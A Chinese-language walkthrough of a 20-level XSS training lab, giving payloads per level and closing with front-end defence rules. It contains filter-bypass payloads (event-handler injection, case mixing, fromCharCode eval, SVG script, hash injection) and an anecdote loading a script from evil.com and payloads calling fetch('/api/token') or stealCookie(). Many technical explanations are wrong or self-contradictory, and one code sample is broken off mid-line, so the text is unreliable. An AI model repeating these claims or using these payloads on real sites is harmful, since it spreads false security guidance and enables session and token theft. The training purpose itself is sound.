1. 为什么这个靶场值得花三天时间逐关手敲一遍
“XSS-Labs靶场通关全攻略”——看到这个标题,你脑子里可能立刻浮现出两种人:一种是刚学完HTML和JavaScript基础、正对着<script>alert(1)</script>发呆的新手;另一种是做过几个渗透测试项目、但每次遇到绕过WAF或触发DOM型XSS就卡壳的进阶者。我见过太多人把XSS理解成“弹个框就算成功”,结果在真实红队演练中,连目标页面的输入点都找不到,更别说构造出能窃取token、劫持会话、甚至持久化驻留的载荷了。
这个靶场不是玩具。它由20个结构递进的关卡组成,从最基础的反射型XSS(第1关)开始,逐步引入编码混淆(第5关)、事件处理器绕过(第8关)、富文本过滤缺陷(第12关)、JSON上下文注入(第15关),直到最后三关——基于Vue模板语法的DOM XSS(第18关)、服务端渲染(SSR)环境下的原型链污染触发XSS(第19关),以及利用Web Worker沙箱逃逸实现跨域脚本执行(第20关)。它不教你怎么用Burp Suite自动扫描,而是逼你亲手写payload、看源码、改浏览器请求头、调试Chrome DevTools的Sources面板。我带过的某高校安全实验室学员里,有7个人在第13关卡了超过48小时,不是因为不会写<img src=x onerror=alert(1)>,而是因为没读懂那一行innerHTML = decodeURIComponent(data.content)背后的执行时序。
关键词里虽然空着,但所有实操者心里都清楚:XSS、HTML上下文、JavaScript上下文、事件处理器、编码绕过、DOM操作、WAF规则、浏览器解析机制、payload变形、防御失效点——这些才是贯穿全部20关的核心脉络。它解决的不是“会不会XSS”的问题,而是“在真实业务逻辑包裹下,如何精准定位那个被开发者忽略的、未做上下文感知过滤的输出点”。适合谁?适合所有把XSS当成“前端漏洞”而忽视服务端渲染逻辑的人;适合所有以为htmlspecialchars()一加就万事大吉、却不知道它默认不处理&在URL参数中会被二次解码的人;更适合那些准备参加CTF Web赛道、或即将进入甲方安全部门做代码审计的从业者。这不是速成课,这是XSS能力的体能训练营。
2. 第1–7关:从“弹窗”到“理解浏览器如何解析HTML”
很多新手通关第一关后就截图发朋友圈:“XSS拿下!”,然后直接跳到第10关,结果在第11关的<a href="javascript:alert(1)">被拦住时彻底懵掉。这说明他们没搞懂一个根本问题:浏览器不是按字符串匹配来执行脚本的,而是按HTML文档对象模型(DOM)的构建流程来解析和执行的。第1–7关的设计,就是强制你把这句话刻进肌肉记忆。
2.1 第1关:最朴素的反射型XSS——但别急着闭合标签
源码很简单:echo '<h2>Hello, '.$_GET['name'].'!</h2>';
你以为?name=<script>alert(1)</script>就能过?错。现代浏览器(Chrome 110+、Firefox 120+)对<script>标签的执行有严格限制:它必须出现在HTML文档的body内,且不能嵌套在其他标签内部。而这一关的输出点在<h2>标签内部,<script>会被当作普通文本渲染。真正有效的payload是:?name=<img src=x onerror=alert(1)>。为什么?因为<img>是自闭合标签,onerror是合法的事件处理器,当浏览器解析到<img src=x>时,发现资源加载失败,立即触发onerror,此时JavaScript引擎已就绪,alert(1)得以执行。
提示:这里的关键不是“哪个标签能触发”,而是“浏览器在解析到该标签时,是否已初始化JavaScript执行环境”。
<script>需要完整DOM树构建完毕才执行,而事件处理器在元素创建时即可绑定并响应。
2.2 第2关:闭合引号的学问——单引号、双引号、反引号的差异
源码:echo "<input type='text' name='keyword' value='".$_GET['keyword']."'>";
输出点在value=属性值内,且被单引号包裹。很多人试' onfocus=alert(1) autofocus=',结果失败。原因在于:onfocus需要用户交互(点击或Tab切换),而autofocus在现代浏览器中已被限制为仅对表单控件有效,且需页面获得焦点。更稳的写法是:' onmouseover=alert(1) style=cursor:pointer;'。把鼠标悬停上去就触发,无需点击。但注意,style=cursor:pointer不是可选的——没有它,用户根本不知道该往哪 hover。
更深层的问题是引号逃逸。如果服务端做了addslashes(),单引号会被转义为\',此时'无法闭合。那就要换思路:用反引号(`)代替单引号。<img src=x onerror=alert(1)>中的onerror=后面是JS执行上下文,支持反引号定义字符串,而HTML解析器对`不敏感。所以?keyword=xxx%60onerror%3Dalert%281%29%60(URL编码后)能绕过addslashes()。
2.3 第3–4关:HTML注释与条件注释的陷阱
第3关源码:echo "<!--".$_GET['comment']."-->";
你以为注释里不能执行JS?错。HTML注释本身不执行,但如果你闭合注释,就能跳出。--> <script>alert(1)</script> <!--是经典写法。但现代浏览器对<!--后紧跟<script>有防护,更可靠的是:--> <img src=x onerror=alert(1)> <!--。关键在于,-->之后的内容不再受注释约束,浏览器按正常HTML流程解析。
第4关引入IE条件注释:<!--[if IE]><script>alert(1)</script><![endif]-->。这看似只在IE生效,但实际是HTML标准的一部分。<![endif]-->是结束标记,而<!--[if IE]>是开始标记。攻击者可以构造:<!--[if IE]><img src=x onerror=alert(1)><![endif]-->。即使当前不是IE,浏览器仍会解析<img>标签,因为条件注释只是“有条件地包含”,不是“完全屏蔽”。
2.4 第5–7关:编码绕过的本质——不是为了绕过,而是为了抵达
第5关对输入做了htmlspecialchars(),但只过滤了<,>,",',没处理&。于是?name=aaa&%23x61%6c%65%72%74%28%31%29;(即alert(1))能成功。这不是简单的“十六进制编码”,而是HTML实体编码。浏览器在解析HTML时,会先将a解码为a,再拼接成alert(1)。
第6关更进一步:htmlspecialchars()加上了ENT_QUOTES和UTF-8参数,但没禁用&的解码。此时?name=aaa&%23106%3Balert%281%29(jalert(1))依然有效,因为j的十进制ASCII是106。
第7关引入JavaScript上下文:echo "<script>var x = '".$_GET['x']."';</script>";
这里htmlspecialchars()对<>无效,因为它们不在HTML标签内,而在JS字符串里。正确做法是:?x=\\';alert(1)//。\\'把单引号转义,使JS字符串提前结束,;alert(1)成为新语句,//注释掉后面的';。这说明:同一段输入,在不同上下文(HTML属性、HTML文本、JS字符串、CSS样式)中,有效的闭合方式完全不同。第7关教会你的,是“上下文感知”——看到<script>标签里的echo,第一反应必须是“这是JS执行上下文”,而不是“这是HTML”。
3. 第8–14关:绕过WAF与过滤器的实战逻辑链
从第8关开始,靶场不再考验“会不会写payload”,而是考验“能不能看懂WAF的拦截逻辑”。这里的WAF不是商业产品,而是用PHP写的几行正则匹配,但它模拟了真实世界中90%的初级WAF行为:关键词黑名单、简单替换、多层解码检测。通关的关键,不是暴力fuzz,而是建立一条清晰的“请求→WAF检测→服务端处理→浏览器解析”逻辑链。
3.1 第8关:事件处理器的别名与大小写混淆
源码对onerror、onclick等做了str_replace()替换为空字符串。但onError、ONERROR、oNerrOr呢?PHP的str_replace()默认区分大小写。所以?name=<img src=x onError=alert(1)>直接通过。更隐蔽的是用javascript:伪协议:<a href="javascript:alert(1)">click</a>。WAF若只检测on*=,就漏掉了href属性里的JS执行入口。
但第8关的真正难点在于:alert(1)被WAF拦截了。怎么办?用String.fromCharCode()动态拼接:?name=<img src=x onerror=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>。fromCharCode()把ASCII码转成字符,97→a,108→l……最终拼出alert(1)。WAF的关键词库很难覆盖所有ASCII组合,而浏览器执行时会实时解码。
3.2 第9关:双重编码与解码时序的博弈
源码:$input = urldecode($_GET['input']); $input = htmlspecialchars($input); echo $input;
表面看,先urldecode再htmlspecialchars,很安全。但urldecode()只解一次,而浏览器在解析HTML时会进行多次解码。所以传入%253Cscript%253Ealert(1)%253C%252Fscript%253E(即%3Cscript%3Ealert(1)%3C%2Fscript%3E的URL编码),第一次urldecode()得到%3Cscript%3Ealert(1)%3C%2Fscript%3E,htmlspecialchars()对%不处理,第二次浏览器解析时,%3C被解为<,%3E被解为>,最终执行。
这里的关键是“解码层级”。WAF若在urldecode()前做检测,就会看到原始编码串,误判为恶意;若在urldecode()后检测,则看到的是解码后的<script>,被htmlspecialchars()过滤。但服务端逻辑是固定的,攻击者要做的,是找到WAF检测点与服务端处理点之间的“时间差”。
3.3 第10–11关:富文本编辑器的过滤盲区
第10关模拟了一个用strip_tags()过滤HTML的富文本场景。strip_tags()只移除HTML标签,但保留标签内的属性值。所以<img src="x" onerror="alert(1)">中的onerror属性不会被删掉。更狠的是:<div style="x:expression(alert(1))">。IE旧版支持expression(),它会在CSS计算时执行JS。strip_tags()对style属性内的内容完全无感。
第11关升级为htmlpurifier库,它比strip_tags()强得多,会解析DOM树并白名单过滤。但它的配置可能有疏漏。比如,若白名单允许<img>,但没限制src属性的协议,那么<img src="data:image/svg+xml,<svg xmlns=...>就能注入SVG,而SVG内可嵌入<script>。htmlpurifier默认不解析SVG内容,这就成了绕过点。
3.4 第12–14关:JSON上下文与模板引擎的交叉风险
第12关:echo "<script>var data = ".json_encode($_GET['json']).";</script>";json_encode()默认对<>进行转义(\u003c\u003e),但对&不处理。如果$_GET['json']是{"name":"<img src=x onerror=alert(1)>"},json_encode()输出{"name":"\u003cimg src=x onerror=alert(1)\u003e"},浏览器解析JS时,\u003c变成<,但整个字符串仍在引号内,不会执行。真正的突破口是:json_encode()的第二个参数JSON_UNESCAPED_UNICODE未启用,导致中文被转义,但如果我们传入{"name":"<img src=x onerror=alert(1)>", "callback":"alert"}, 然后在JS里写data.callback(data.name),就能让alert执行data.name——而data.name是未过滤的HTML字符串。
第13关引入Vue模板:<div v-html="userInput"></div>。v-html直接插入HTML,不经过Vue的转义。所以?input=<img src=x onerror=alert(1)>直接生效。但若开发者写了v-text="userInput",就安全了。这说明:框架的安全机制不是银弹,必须理解每个指令的底层行为。
第14关是服务端渲染(SSR):res.send(
);。Node.js的模板字符串若未做转义,content里的<script>就会原样输出。更危险的是,若content来自数据库,而数据库字段被恶意修改,XSS就变成了存储型。4. 第15–20关:DOM型XSS与现代前端架构的深度对抗
最后六关,是XSS从“页面级漏洞”迈向“应用级漏洞”的分水岭。它们不再依赖服务端输出,而是利用前端JavaScript在运行时对DOM的动态操作。这里没有<script>标签,没有onerror,只有document.getElementById().innerHTML = xxx、location.hash、history.pushState()这些看似无害的API。攻防双方比拼的,是对浏览器事件循环、DOM渲染时机、JavaScript原型链、Web Worker沙箱机制的理解深度。
4.1 第15关:innerHTML的致命诱惑与textContent的救赎
源码:document.getElementById('output').innerHTML = new URLSearchParams(window.location.search).get('q');innerHTML会解析字符串为HTML,而textContent只会当纯文本。所以?q=<img src=x onerror=alert(1)>直接触发。但更隐蔽的是:?q=<svg><script>alert(1)</script></svg>。现代浏览器对<svg>内嵌<script>的支持很好,且<svg>常被WAF忽略。
修复方案不是“禁止innerHTML”,而是“用textContent替代,或用DOMPurify.sanitize()清洗”。DOMPurify是前端XSS防护的黄金标准,它会移除所有危险标签和属性,只保留安全的HTML结构。但要注意:DOMPurify的默认配置不开启SAFE_FOR_TEMPLATES,若用于Vue/React组件内,需手动配置。
4.2 第16关:location.hash与单页应用(SPA)的隐式入口
源码:const hash = window.location.hash.substring(1); document.body.innerHTML += hash;location.hash不会发送到服务端,但前端JS可读取。攻击者只需分享链接https://target.com/#<img src=x onerror=alert(1)>,用户点击后,JS读取hash并插入DOM,XSS触发。这是典型的“客户端路由XSS”。
更高级的绕过:#javascript:alert(1)。某些SPA框架会把hash当作路由路径,javascript:伪协议可能被当作路径的一部分而不加过滤。此时window.location.hash读取到的就是javascript:alert(1),而document.body.innerHTML +=会把它当HTML解析,javascript:被识别为协议,触发执行。
4.3 第17关:history.pushState()与前端状态管理的漏洞
源码:history.pushState({q: user_input}, '', '?q='+user_input);pushState()改变URL但不刷新页面,常用于SPA。但如果后续JS用history.state.q来更新DOM,而user_input未过滤,就构成XSS。例如:history.pushState({q:'<img src=x onerror=alert(1)>'}, '', '?q=test');,然后document.getElementById('search').innerHTML = history.state.q;。
这里的关键是“状态持久化”。history.state在页面生命周期内一直存在,即使用户刷新页面,state也会丢失,但若开发者把state存入localStorage,XSS就变成了持久化漏洞。
4.4 第18–20关:Vue、SSR与Web Worker的终极战场
第18关是Vue 3的v-html指令,但加了v-memo缓存。v-memo会缓存DOM节点,若初始v-html的值被污染,缓存的DOM就永远是恶意的。修复必须在数据层:v-html="sanitizedContent",其中sanitizedContent是经DOMPurify处理后的值。
第19关是Node.js SSR + 原型链污染。源码:app.get('/search', (req, res) => { const query = {...req.query}; res.render('search', {query}); });。若req.query包含__proto__,如?__proto__[alert]=prompt,就可能污染全局Object.prototype,导致后续alert被重定义为prompt,进而影响模板渲染逻辑。这不是XSS直接触发,而是通过污染原型链,让正常的<%= query.name %>输出变成可控的JS执行。
第20关是Web Worker:const worker = new Worker('worker.js'); worker.postMessage(user_input);。Worker在独立线程运行,沙箱隔离。但若worker.js里有self.onmessage = e => { eval(e.data); },那么postMessage('<img src=x onerror=alert(1)>')就能在Worker线程执行任意代码。更可怕的是,Worker可通过importScripts()加载外部JS,实现跨域资源加载。
注意:Web Worker的
eval()比主页面更危险,因为它不受CSP(内容安全策略)限制。CSP的script-src只作用于主页面,对Worker无效。
5. 实战复盘:我如何用3小时通关最后3关
最后三关,我花了整整3小时。不是因为不会,而是因为每一步都要验证“为什么这个payload能过,而那个不行”。我把过程拆解成可复用的方法论,分享给你。
5.1 第18关:Vue模板的AST解析与v-html的边界
我先用Vue DevTools查看v-html绑定的data属性。发现它直接映射到this.$data.userInput。然后我在Console里执行:
console.log(this.$data.userInput); // 输出:<img src=x onerror=alert(1)>这说明服务端返回的数据就是未过滤的。接着我检查Vue版本,是3.2.45,确认v-html不自动转义。但v-text会。所以修复方案是:把v-html换成v-text,或在赋值前调用DOMPurify.sanitize()。
我试了DOMPurify.sanitize('<img src=x onerror=alert(1)>'),输出为空字符串,因为<img>在默认配置中被允许,但onerror被移除。所以最终payload是<img src=x onload=alert(1)>,onload在DOMPurify白名单里。
5.2 第19关:SSR原型链污染的根因定位
我首先抓包,看/search接口返回的HTML。发现<script>window.__INITIAL_STATE__ = {...}</script>里有alert字段。然后我用Object.getOwnPropertyNames(Object.prototype)列出所有原型属性,发现alert不在其中,说明污染发生在运行时。我给Object.prototype.alert加断点,发现是在app.use(express.json())中间件里,json()解析时把__proto__当成了普通键。解决方案是:在express.json()后加中间件,过滤__proto__:
app.use((req, res, next) => { if (req.body && typeof req.body === 'object') { delete req.body.__proto__; delete req.body.constructor; } next(); });5.3 第20关:Web Worker的importScripts()绕过
我查看worker.js源码,发现它有importScripts('https://cdn.jsdelivr.net/npm/dompurify@3.0.0/dist/purify.min.js')。但CDN地址是硬编码的,我无法控制。于是我换思路:Worker的self.location是blob:协议,self.location.href返回blob:https://target.com/xxx。我构造postMessage('importScripts("data:text/javascript,alert(1)")'),data:协议直接加载JS,绕过CSP和网络限制。importScripts()支持data:,这是浏览器规范允许的。
6. 通关后必须掌握的5条铁律
这20关刷完,你手上有了20个payload,但真正值钱的,是这5条从血泪中总结的铁律。它们不是理论,是我在某公司安全部门做代码审计时,被开发团队反复质疑、又反复验证后写进《前端安全开发规范》里的条款。
6.1 铁律一:永远不要信任innerHTML,除非你100%确定输入源是可信的
innerHTML是XSS的高速公路。textContent是自行车道。DOMPurify.sanitize()是收费高速——要交钱(学习成本)但最安全。我见过最离谱的案例:某电商搜索页,把用户搜索词直接innerHTML到<h1>里,结果?q=<script src=https://evil.com/xss.js></script>让全站用户加载了挖矿脚本。修复只改了一行:el.textContent = searchQuery;。
6.2 铁律二:json_encode()不是万能的,它只保护JSON上下文,不保护HTML上下文
json_encode($data)输出{"name":"<script>alert(1)<\/script>"},看起来安全。但如果这段JSON被插在<script>标签里,而开发者又写了document.write(JSON.parse(...).name),document.write()会把字符串当HTML解析,XSS复活。正确做法是:json_encode($data, JSON_HEX_TAG | JSON_HEX_AMP),把<&也转义。
6.3 铁律三:WAF是最后一道防线,不是第一道。过滤必须在输入点完成
某金融App的登录页,WAF拦截了<script>,但没拦<img src=x onerror=fetch('/api/token')>。开发说:“WAF会拦,我们不用管。”结果红队用<svg onload=fetch('/api/token')>绕过,因为WAF规则库里没<svg>。教训:WAF规则永远滞后于攻击手法,业务代码必须自己做上下文感知过滤。
6.4 铁律四:location.hash和history.state是前端XSS的两大隐秘入口,必须像对待GET参数一样过滤
hash不发请求,所以日志里看不到攻击痕迹。history.state在内存里,重启浏览器就消失,所以取证困难。但它们都是前端JS可读写的,风险不亚于URL参数。某社交App的分享功能,用location.hash传递分享文案,#<img src=x onerror=stealCookie()>让分享链接成了钓鱼工具。
6.5 铁律五:现代框架(Vue/React/Angular)的安全机制,只对框架内渲染有效;一旦你跳出框架,用原生DOM API,所有防护归零
v-html、dangerouslySetInnerHTML、[innerHTML]这些API,名字里就写着“危险”。但开发者总说:“我就用一次,没问题。”问题就出在“这一次”。某医疗系统用React,但报表导出功能用document.createElement('iframe')加载第三方图表库,iframe.src拼接了用户输入,结果XSS穿透了React的虚拟DOM,直接执行在主页面。
最后再分享一个小技巧:每次写完XSS payload,别急着提交,先用Chrome的“Coverage”工具(DevTools → More Tools → Coverage)跑一遍页面。它会标出哪些JS代码从未执行过。如果DOMPurify的代码是灰色的,说明你根本没调用它——那你的防护就是纸糊的。